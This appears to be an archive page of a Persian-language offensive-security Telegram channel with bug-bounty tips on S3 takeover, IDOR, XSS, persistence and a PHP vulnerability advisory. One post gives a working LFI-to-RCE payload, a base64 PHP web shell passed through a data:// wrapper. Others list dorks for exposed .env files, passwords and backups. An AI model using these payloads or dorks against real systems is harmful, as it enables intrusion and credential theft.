Try Hack Box
前往频道在 Telegram
1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفهای شو.
显示更多7 194
订阅者
+2424 小时
+997 天
+40330 天
帖子存档
7 199
دوستانی که علاقه مندان به تدریس دوره های پایه مقدماتی در زمینه امنیت سایبری و شبکه و لینوکس هستند و از جمله دوره های اوسینت با ایدی زیر با ما در تماس باشید :
@ThbxSupport
7 199
ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود
تصور کنید یک آسیب پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش ها برای سوءاستفاده از آن به راه می افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به روزرسانی ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیبپذیری با شناسه های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده اند. در این گزارش، امتیاز شدت هر دو آسیب پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش ها برای exploitation از آن ها صحبت شده است.
توجه: پیش از استناد به شناسه ها، امتیاز ها، آمار حملات و نسخه های اصلاح شده، اطلاعیه های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.
🔍 مشکل دقیقاً چیست؟
بر اساس اطلاعات گزارش شده، این دو آسیب پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظهای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می تواند زمینه ساز رفتار غیرمنتظره یا اجرای حمله شود.
خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.
🎯 چه کسانی باید نگران باشند؟
اگر سرور یا وب سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط های زیر اهمیت داشته باشد:
Apache با mod_php
Nginx با PHP-FPM
LiteSpeed و FrankenPHP
وبسایت های WordPress و سایر برنامه های مبتنی بر PHP
البته استفاده از این فناوری ها به تنهایی به معنای آسیب پذیر بودن سرور نیست؛
🛡️ چه کارهایی باید انجام دهید؟
۱. نسخه PHP را بررسی کنید.
php -v
این دستور نسخه PHP در محیط CLI را نشان میدهد. اگر برنامه شما از PHP-FPM یا سرویس دیگری استفاده میکند، نسخه واقعی مورد استفاده وب سرور را هم بررسی کنید.
۲. وضعیت پچ امنیتی را مشخص کنید.
اطلاعیه رسمی PHP را بررسی کنید و در صورت قرار داشتن نسخه شما در محدوده آسیبپذیر، به نسخه اصلاح شده و پشتیبانی شده ارتقا دهید. شماره نسخه های اعلام شده در گزارش های غیررسمی را بدون تطبیق با منابع اصلی مبنا قرار ندهید.
۳. اگر فعلاً امکان به روزرسانی ندارید، سطح دسترسی را محدود کنید.
بسته به شرایط، محدود کردن دسترسی از اینترنت یا غیرفعال کردن موقت سرویس می تواند ریسک را کاهش دهد.
۴. به WAF اکتفا نکنید.
قواعد WAF و قابلیت های امنیتی CDN ممکن است بخشی از درخواست های مخرب را مسدود کنند، اما جای پچ امنیتی را نمیگیرند.
۵. اگر احتمال میدهید سرور هدف حمله قرار گرفته، فقط به بهروزرسانی بسنده نکنید.
لاگ های وب سرور، فرایندهای غیرعادی، ارتباطات خروجی و احتمال دسترسی به اطلاعات حساس را بررسی کنید. اگر نشانهای از نفوذ پیدا شد، موضوع را به عنوان یک رخداد امنیتی جدی پیگیری کنید.
💡 نکتهای که نباید فراموش کنیم
برای یک متخصص تست نفوذ، بررسی نسخه نرمافزار فقط نقطه شروع است. باید مشخص شود آسیب پذیری تحت چه شرایطی قابل بهرهبرداری است، در صورت موفقیت چه سطح دسترسی ای به دست می آید و چه دارایی هایی ممکن است در معرض خطر قرار بگیرند.
از طرف دیگر، برای تیم های دفاعی، سرعت واکنش اهمیت زیادی دارد. هرچه فاصله انتشار آسیب پذیری تا در دسترس قرار گرفتن روش های exploitation کمتر شود، فرصت بیشتری برای مهاجمان و زمان کمتری برای تیم های امنیتی باقی میماند.
اگر مسئول نگهداری یک سرور هستید، بررسی پچ های امنیتی را به زمان دیگری موکول نکنید. اگر هم در مسیر یادگیری تست نفوذ هستید، این رخدادها فرصت خوبی اند تا ارتباط میان آسیبپذیری، exploitation و پیامدهای واقعی آن را بهتر بشناسید.
- TryHackBox
@TryHackBox7 199
Repost from Try Hack Box
یکی از methodologyهای مخفیم رو دراپ میکنم
🌀 Takeover AWS S3 Bucket
🔥 مثل حرفهای ها فوق العاده ساده اما خیلی موثر
✨ قبل از هرچیزی بیایم کل سناریو رو بفهمیم...
👀 ۱. کدوم bucketها آسیبپذیر برای takeover هستن؟
👀 ۲. تاثیر واقعی takeover یه S3 bucket چیه؟
👀 ۳. چطور S3 bucketهای potentially vulnerable رو پیدا کنیم؟
👀 ۴. چطور validate کنیم که bucket واقعاً توسط تارگت استفاده شده؟
⚡ ۱. Bucket های آسیبپذیر:
اگه تارگت قبلاً از یه S3 bucket استفاده کرده و deleteش کرده اما subdomain (CNAME) هنوز به amazonaws.com اشاره میکنه این فرصت عالی takeoverه.
⚡ ۲. تاثیر:
اگه bucket هنوز در backend یا services reference شده باشه، و تارگت فراموش کرده removeش کنه، ممکنه حتی RCE به دست بیاری. در بعضی موارد، میتونه به full system compromise منجر بشه.
⚡ ۳. پیدا کردن Bucketها (با استفاده از FOFA):
اینجا چطور با FOFA شکارشون میکنم:
🧠 FOFA Dork:
body="specified bucket does not exist" && (host="target.com" || host="target_domain_name_only") && port="443"
🔍 این dork subdomainهایی رو میده که به bucketهای missing یا deleted اشاره میکنن. FOFA fingerprints رو در سراسر وب index میکنه حتی برای منابع deleted پس goldmine برای پیدا کردن assetهای exposedی که تارگت فراموش کرده.
⚡ ۴. Validate کردن Ownership:
🔎 روش ۱: GitHub Recon
از GitHub dorkها مثل این استفاده کن:
org:target_org "target.s3.amazonaws.com"
یا ساده جستجو کن:
"target.s3.amazonaws.com"
ممکنه hardcoded linkها، past commitها یا config fileهایی پیدا کنی که اثبات کنه تارگت از این bucket استفاده میکرده.
🌐 روش ۲: DNS History (همیشه موثر نیست، اما ارزش امتحان داره)
چک کن اگه bucket برای static website hosting configure شده بوده.
از این ابزارها برای چک historical DNS records استفاده کن:
https://securitytrails.com https://dnsdumpster.com https://viewdns.info https://www.robtex.com اگه DNS leak یا CNAME recordهایی پیدا شد، analyzeشون کن تا proof of ownership بسازی. 🎯 پس بچهها، امیدوارم از خوندن این قطعه کوچیک متدولوژی لذت برده باشین.
کدوم FOFA dork رو برای S3 takeover تست کردی که subdomain dangling شکار کرد؟ تجربت رو کامنت کن.@TryHackBox #دورک #باگ_بانتی
7 199
🔖 ا Account Takeover از طریق ایمیل
شما چه روش هایی بلدید ؟@TryHackBox #امنیت_اطلاعات #امنیت_سایبری #باگ_بانتی
7 199
Repost from Try Hack Box
🔴 THB Security Research | CVE-2026-67276
تحلیل فنی یک نقص در Public-Key Authentication در MikroTik RouterOS که میتواند مدل اعتماد احراز هویت را تحت تأثیر قرار دهد.
📄 گزارش فنی کامل:
CVE-2026-67276 : MikroTik RouterOS
@TryHackBox
#MikroTik #RouterOS #CVE #Pentest
#میکروتیک #آسیب_پذیری
7 199
Repost from Try Hack Box
⏰ PERSISTENCE SERIES | PART 3
Scheduled Tasks
وقتی خود سیستم دوباره چیزی رو اجرا میکنه.
اScheduled Taskها بخش کاملاً طبیعی Windows هستن.
Backup? Maintenance? Updates? Monitoring?همه میتونن از Scheduled Task استفاده کنن. اما همین قابلیت باعث میشه در یک Security Assessment ارزش بررسی داشته باشه. چرا؟ چون یک Task میتونه مشخص کنه:
چه چیزی اجرا بشه، چه زمانی اجرا بشه، با چه User Contextای اجرا بشه، و تحت چه شرایطی Trigger بشه.🔎 بنابراین یک Task غیرعادی میتونه یک Persistence Indicator باشه. ولی فقط اسم Task رو نگاه نکنید. این موارد هم مهم هستن:
🔹 Executable Path 🔹 Trigger 🔹 User Context 🔹 Creation / Modification Time 🔹 Parent / Child Process Relationshipو یک نکته مهم: یک Task عجیب بهتنهایی ثابت نمیکنه که مخربه. مثل همیشه، Context مهمه. 🎯 سؤال:
فرض کنید بین یک Scheduled Task ناشناس و یک Registry Run Key ناشناس، فقط اجازه بررسی یکی رو دارید.کدوم رو در اولویت قرار میدید؟ و مهمتر از اون، چرا؟ 👇 استدلالتون رو بنویسید. @TryHackBox #TryHackBox #CyberSecurity #Persistence #ScheduledTasks #WindowsSecurity #RedTeam #Red_Team
7 199
یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی.
اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن.
۱. Exposed.env Files intitle:"Index of" ".env" "DB_PASSWORD" filetype:env "APP_ENV=local" | "DB_HOST=127.0.0.1" ۲. Exposed SQLite Databases intitle:"Index of" ".sqlite" intitle:"Index of" "db.sqlite" filetype:sqlite | filetype:sqlite3 | filetype:db ۳. Misconfigured Laravel یا Public Folder Exposure inurl:/public/.env inurl:/public/db.sqlite intitle:"Index of" inurl:/public/ ۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive) intitle:"Index of" "backup" intitle:"Index of" "config" ext:sql | ext:bak | ext:old | ext:backup ۵. Generic Index Dump intitle:"Index of /" +passwd intitle:"Index of /" +passwordsقبل از استفاده از این dorkها، scopeت رو با site:target.com narrow down کن، بعد dork خاص رو apply کن تا فقط روی تارگتت focus کنی.
کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن@TryHackBox #باگ_بانتی
7 199
Repost from Try Hack Box
🧩 گاهی مشکل در ID نیست؛ در پارامتری است که اصلاً جلوی چشمت نیست.
یک API ممکن است ظاهراً این باشد:
GET /api_v1/messagesاما Backend ممکن است پارامتر دیگری هم قبول کند:
GET /api_v1/messages?user_id=<UUID>حالا سؤال مهم این است: این پارامتر واقعاً توسط Server Authorization می شود یا فقط برای انتخاب Object استفاده میشود؟ این یکی از جاهایی است که Endpoint Discovery و Parameter Discovery اهمیت پیدا می کنند. برای همین در تست های واقعی، فقط پارامترهایی که در UI میبینی را بررسی نکن. به دنبال اینها هم باش: پارامترهای موجود در Requestهای قدیمی پارامترهای API Hidden Parameters پارامترهای مربوط به User/Object پارامترهایی که در Frontend استفاده میشوند ولی در UI دیده نمیشوند حتی ابزارهایی مثل Arjun و Param Miner دقیقاً برای پیدا کردن Hidden Parameters میتوانند در این مرحله مفید باشند. اما ابزار فقط Candidate پیدا میکند. تشخیص Vulnerability همچنان با تحلیل رفتار Authorization انجام میشود. @TryHackBox #تست_نفوذ #امنیت_وب #امنیت_سایبری
7 199
⚡ سری Bash برای باگ هانترها
قسمت ۲
چندین folder رو با one-liner بساز:
mkdir {dev,test,prod}
این command همزمان ۳ directory (dev، test، prod) میسازه.
ایجاد چندین File به طور Efficient:
touch {file1,file2,file3}.txt
Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن.
تولید Fileها با Numeric Sequences:
seq -w 1 10 | xargs -I {} touch file{}.txt
این sequence fileهایی مثل:
file01.txt، file02.txt، file03.txt.... تا file10.txt میسازه.
با pro Bash commandها bug huntingت رو boost کن must برای هر hacker! فراموش نکن react کن 🔥@TryHackBox #باگ_بانتی
7 199
Repost from Try Hack Box
🚧 403 همیشه پایان تست نیست.
فرض کن به این Endpoint میرسی:
GET /users/delete/victim_idو Server جواب میدهد:
403 Forbiddenخیلی ها همینجا متوقف میشوند.اما یکی از چیزهایی که در تست Authorization باید بررسی شود، HTTP Method است. مثلاً:
GET /users/delete/victim_id → 403اما:
POST /users/delete/victim_id → 200این رفتار می تواند نشان دهد Authorization بین Methodهای مختلف به درستی یکسان اعمال نشده است. همین منطق را میتوان روی Endpointهایی که عملیات حساس انجام میدهند بررسی کرد:
GET POST PUT PATCH DELETE نکته مهم: قرار نیست کورکورانه همه Methodها را امتحان کنی. اول مشخص کن Endpoint چه کاری انجام می دهد، Method مورد انتظار چیست و Responseها چه تفاوتی دارند. پنتست خوب یعنی دنبال کردن رفتار Application، نه فقط دنبال کردن Status Code. @TryHackBox #تست_نفوذ #امنیت_وب #امنیت_سایبری
7 199
🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡
LFI
داری اما با log poisoning یا تریکهای دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:
مثال param vulnerable:
page=../../../../etc/passwdحالا PHP shellت رو با base64 encoding بساز:
echo '<?php system($_GET["cmd"]);?>' | base64
نتیجه رو میگیری:
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=URL-encodeش کن: PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D Payload نهایی (با data:// wrapper): page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id BOOM! Remote Code Execution. 💥 من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. میخوای؟ بگو بدونم.
کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن@TryHackBox #باگ_بانتی
7 199
⚠️ موج بعدی جنگ به زودی شروع میشه .
نوشتن این پیام برای من خوشایند نیست، اما با توجه به شرایط موجود، احتمال شروع دور جدیدی از درگیری ها را نمیتوان نادیده گرفت. این موضوع به معنای پیش بینی قطعی نیست؛ بااین حال، ترجیح میدهم از همین حالا برای شرایط احتمالی آماده باشیم، نه اینکه در لحظه بحران به فکر چاره بیفتیم.
از همه اعضای TryHackBox میخواهم چند اقدام مشخص را جدی بگیرند:
۱. ارتباط و دسترسی به اینترنت
راه های جایگزین ارتباط با اعضای خانواده و افراد ضروری را مشخص کنید.
شماره تلفن های مهم را خارج از گوشی نیز یادداشت کنید.
اگر فعالیت یا ارتباطات شما به اینترنت وابسته است، برای قطعی یا اختلال طولانی مدت برنامه جایگزین داشته باشید.
۲. امنیت اطلاعات و دارایی های دیجیتال
از فایل ها، اسناد و اطلاعات مهم خود نسخه پشتیبان تهیه کنید.
نسخه پشتیبان را در محلی امن و جدا از دستگاه اصلی نگه دارید.
دسترسی به حساب های مهم، ایمیل بازیابی و روش های احراز هویت دومرحلهای را بررسی کنید.
مراقب اخبار تأیید نشده باشید.
۳. آمادگی های ضروری در منزل
آب آشامیدنی، مواد غذایی ماندگار، داروهای ضروری و لوازم کمک های اولیه را برای چند روز در دسترس داشته باشید.
چراغ قوه، باتری یا پاوربانک شارژ شده آماده کنید.
مدارک هویتی، نسخه داروها، مقداری پول نقد و شمارههای اضطراری را در دسترس قرار دهید.
۴. برنامه ریزی برای شرایط اضطراری
با اعضای خانواده درباره محل ملاقات و روش تماس در صورت قطع ارتباط توافق کنید.
مسیرهای خروج و مکان های امن نزدیک محل زندگی یا کار را بشناسید.
۵. مدیریت اخبار و تصمیم ها
خبرها را از چند منبع معتبر بررسی کنید و شایعات را بازنشر نکنید.
تصمیم های مهم را صرفاً بر اساس پیام های ناشناس یا پیشبینی های تأییدنشده نگیرید.
اگر برای کار یا فعالیت های روزمره به زیرساخت های آنلاین وابستهاید، برای وقفه احتمالی از قبل برنامه داشته باشید.
این موارد برای ایجاد ترس نیست؛ هدف این است که اگر شرایط تغییر کرد، تصمیم های ضروری را با آرامش و آمادگی بیشتری بگیریم.
هیچ کس نمیتواند با قطعیت بگوید چه اتفاقی خواهد افتاد؛ اما هرکدام از ما میتوانیم آمادگی خود را بیشتر کنیم.
مراقب خودتان و عزیزانتان باشید.
— TryHackBox
7 199
نکته باگ بانتی PDF Keyword Crawler
شکار اطلاعات حساس در PDFهای عمومی؟
🧩 از PDF Keyword Crawler add-on فایرفاکس استفاده کن
📁 urls.txtت رو لود کن (با لینکهای.pdf)
🔑 خودکار برای keywordهای حساس اسکن میکنه!
🧠 عالی برای کشف leaked secrets، creds یا internal docs.
👉 Add-on: https://addons.mozilla.org/es-AR/firefox/addon/pdf-keyword-crawler/
https://ott3rly.com/mass-hunting-for-leaked-sensitive-documents/
کدوم keyword رو در PDF Crawler اضافه کردی که secret leakشده شکار کرد؟ تجربت رو کامنت کن@TryHackBox #باگ_بانتی
7 199
Repost from
اPass the Hash هنوز هم بعد از این همه سال کار میکنه.
چرا؟ چون بخشی از معماری احراز هویت ویندوز هست و کامل پچ نمیشه.
به جای کرک کردن پسورد، مستقیم با NTLM Hash احراز هویت میکنی.
ادامه رشته توییت
https://x.com/KavehxNet/status/2110953930486083996
7 199
Repost from Try Hack Box
ا🔎 IDOR را با عوض کردن ID اشتباه نگیرید
خیلی ها وقتی یک Endpoint مثل این میبینند:
GET /api/users/123اولین کاری که میکنند این است:
GET /api/users/124اگر جواب گرفتند، می گویند IDOR پیدا شد. اما تست حرفه ای کمی متفاوت است. اول باید بفهمی این Endpoint چه Objectی را کنترل میکند و Authorization دقیقاً کجا اعمال میشود. یک روش ساده: با Account A یک Object بساز. همان Object را با Account B درخواست کن. ببین Server فقط Authentication را بررسی میکند یا واقعاً Ownership را هم بررسی میکند. بعد سراغ تغییر Identifier برو. چون سؤال اصلی این نیست:
«آیا میتوانم ID را تغییر بدهم؟»سؤال اصلی این است: «آیا Server قبل از دسترسی به Object، بررسی میکند این Object واقعاً متعلق به من است؟» اگر پاسخ دوم «نه» باشد، مشکل فقط یک ID قابلحدس نیست؛ یک Authorization Failure است. @TryHackBox #تست_نفوذ #امنیت_وب #امنیت_سایبری
7 199
🧠 نکته باگ بانتی حملات Denial of Wallet 💸
شنیدی Denial of Service رو... اما Denial of Wallet چی؟
🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.
🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.
💥 تارگتهای رایج در برنامههای باگ بانتی:
Cloud Functions (مثل AWS Lambda، Azure Functions)
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.
Email/SMS APIs
مثال: feature signup/login OTP via Twilio یا SendGrid می فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شمارهها drain کنی.
AI Chatbots (مثل OpenAI، Claude APIs)
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.
💡 الهام واقعی از دنیای واقعی
طبق مقاله PortSwigger:
"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."
تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.
🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:
⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت های abuse email/SMS OTP یا notification
✅ نکتهها قبل از Report:
⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap
💰 این باگها اغلب plain sight مخفی ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.
کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.@TryHackBox #باگ_بانتی
7 199
Repost from Try Hack Box
🧨 WEB PENTESTING FIELD NOTES #03
یک اشتباه رایج در تست XSS
یه چیزی توی Search Box وارد میکنی.
بر میگرده توی صفحه.
بعد اولین فکری که میاد:
«خب، حالا یه Payload بزنیم ببینیم اجرا میشه یا نه.»
اینجا دقیقاً جاییه که خیلی از تست ها اشتباه شروع میشن.
قبل از Payload، من معمولاً یه سؤال سادهتر میپرسم:
این Input دقیقاً کجا قرار گرفته؟
داخل HTML؟
داخل یک Attribute؟
داخل JavaScript؟
توی URL؟
یا اصلاً JavaScript سمت Client داره این مقدار رو از جایی میخونه و وارد DOM میکنه؟
چون این:
<input>
به تنهایی چیزی بهت نمیگه.
مهم اینه که Application و Browser باهاش چه رفتاری میکنن.
یه سناریوی ساده:
تو Search میزنی:
THB
صفحه هم نشون میده:
Search results for: THB
خوبه.
حالا به جای اینکه سریع بری سراغ Payloadهای مختلف، مسیر مقدار رو دنبال کن.
Input → Source → Data Flow → Sink → Context → Execution
اگر بفهمی داده از کجا وارد شده و نهایتاً به کجا رسیده، تازه می فهمی باید دنبال چه چیزی بگردی.
حالا سه حالت اصلی XSS رو از هم جدا کن:
🔹 Reflected XSS
اInput از Request میاد و در Response برمیگرده.
🔹 Stored XSS
اInput ذخیره میشه و بعداً وقتی یک User دیگه صفحه رو میبینه، Render میشه.
🔹 DOM-Based XSS
این یکی جالب تره.
ممکنه Server اصلاً چیزی از Payload نبینه.
جاوااسکریپت سمت Client داده رو از یک Source میگیره و به یک Sink خطرناک میرسونه.
یعنی اگر فقط Responseهای Server رو نگاه کنی، ممکنه کل داستان رو از دست بدی.
حالا یه سؤال برای خودت:
فرض کن مقدار زیر رو وارد کردی:
THB123
و این مقدار داخل HTML صفحه ظاهر شد.
آیا همین به معنی XSS Vulnerability هست؟
اگر جوابت «بله» یا «نه» هست، دلیلش رو هم بنویس. ببینیم چند نفر واقعاً Context رو بررسی میکنن، نه فقط دنبال Payload می گردن. @TryHackBox #تست_نفوذ #امنیت_سایبری
7 199
Repost from Try Hack Box
حل چلنچ : The Broken Trust : THB CTF
سناریوی حل چالش توسط اقا آرمین عزیز از اعضای کانال .
@TryHackBox
#CTF_THB
